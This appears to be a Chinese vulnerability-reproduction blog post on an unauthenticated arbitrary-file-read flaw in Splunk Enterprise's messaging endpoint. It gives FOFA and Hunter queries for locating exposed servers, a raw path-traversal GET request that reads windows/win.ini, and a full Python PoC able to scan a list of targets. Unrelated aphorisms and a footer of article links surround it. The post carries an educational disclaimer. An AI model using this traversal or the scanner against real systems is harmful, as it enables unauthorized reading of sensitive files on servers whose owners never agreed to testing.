【漏洞复现】Splunk Enterprise——messaging——任意文件读取

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。


漏洞描述

Splunk Enterprise是一款功能强大的数据分析引擎,旨在从所有IT系统和基础设施数据中提供数据搜索、报表和可视化展现。其messaging接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件。

漏洞复现

1)信息收集
fofa:app="splunk-Enterprise"
hunter:app.name="Splunkd"
在这里插入图片描述
要是心情郁闷的时候,用手托腮就好,手臂会因为帮上忙而开心的。
在这里插入图片描述
2)构造数据包

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../windows/win.ini HTTP/1.1
Host:ip

在这里插入图片描述
回显了win.ini的内容,存在任意文件读取漏洞。

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
该脚本用于检测Splunk Enterprise for Windows的任意文件读取漏洞。
通过发送HTTP请求,尝试读取特定路径的文件来验证漏洞是否存在。
"""

import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning

# 定义红色和重置终端输出格式的常量
RED = '\033[91m'
RESET = '\033[0m'
# 忽略HTTPS证书验证警告
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_file_read(url):
    """
    检查给定URL是否存在任意文件读取漏洞。

    :param url: 要测试的URL
    """
    # 设置User-Agent头,模拟浏览器访问
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15'
    }

    # 构造尝试读取的文件路径
    file_read_url = f"{url.rstrip('/')}/en-US/modules/messaging/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/C:%2e%2e/windows/win.ini"
  
    try:
        # 发送GET请求并获取响应
        response = requests.get(file_read_url, headers=headers, verify=False, timeout=30)
        # 检查响应状态码是否为200,并且响应内容中是否包含特定字符串
        if response.status_code == 200 and "fonts" in response.text:
            print(f"{RED}URL [{url}] 存在Splunk Enterprise for Windows 任意文件读取漏洞{RESET}")
        else:
            print(f"URL [{url}] 可能不存在漏洞")
    except requests.RequestException as e:
        # 打印请求过程中发生的异常
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    主函数,用于解析命令行参数并调用检查函数。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检测目标地址是否存在Splunk Enterprise for Windows 任意文件读取漏洞')
    # 添加URL参数,用于指定目标地址
    parser.add_argument('-u', '--url', help='指定目标地址')
    # 添加文件参数,用于指定包含目标地址的文本文件
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 如果URL没有http/https协议头,则自动添加
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        # 调用检查函数
        check_file_read(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 打开文件并逐行读取URL
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 如果URL没有http/https协议头,则自动添加
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                # 调用检查函数
                check_file_read(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述


人的一切痛苦,本质上都是对自己无能的愤怒。

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-13 12:04:03       70 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-13 12:04:03       74 阅读
  3. 在Django里面运行非项目文件

    2024-07-13 12:04:03       62 阅读
  4. Python语言-面向对象

    2024-07-13 12:04:03       72 阅读

热门阅读

  1. 【面试题】Golang 之Channel底层原理 (第三篇)

    2024-07-13 12:04:03       22 阅读
  2. 数据结构

    2024-07-13 12:04:03       28 阅读
  3. MySQL 面试题

    2024-07-13 12:04:03       26 阅读
  4. 【笔记】在虚拟机中输入 yum makecache报错

    2024-07-13 12:04:03       27 阅读
  5. 如何使用键盘优雅地使用浏览器

    2024-07-13 12:04:03       29 阅读
  6. C++ 开源库

    2024-07-13 12:04:03       29 阅读
  7. Spark SQL----CREATE FUNCTION

    2024-07-13 12:04:03       23 阅读
  8. 有免代码开发平台,还需要学习软件工程吗?

    2024-07-13 12:04:03       24 阅读
  9. 建立共享linux第三方软件仓库

    2024-07-13 12:04:03       21 阅读
  10. mysql自动kill卡事务进程

    2024-07-13 12:04:03       23 阅读
  11. 计算机网络高频面试题

    2024-07-13 12:04:03       26 阅读
  12. 如何将已有的docker服务迁移至Kubernetes集群中

    2024-07-13 12:04:03       22 阅读
  13. 【Go系列】 函数与方法

    2024-07-13 12:04:03       21 阅读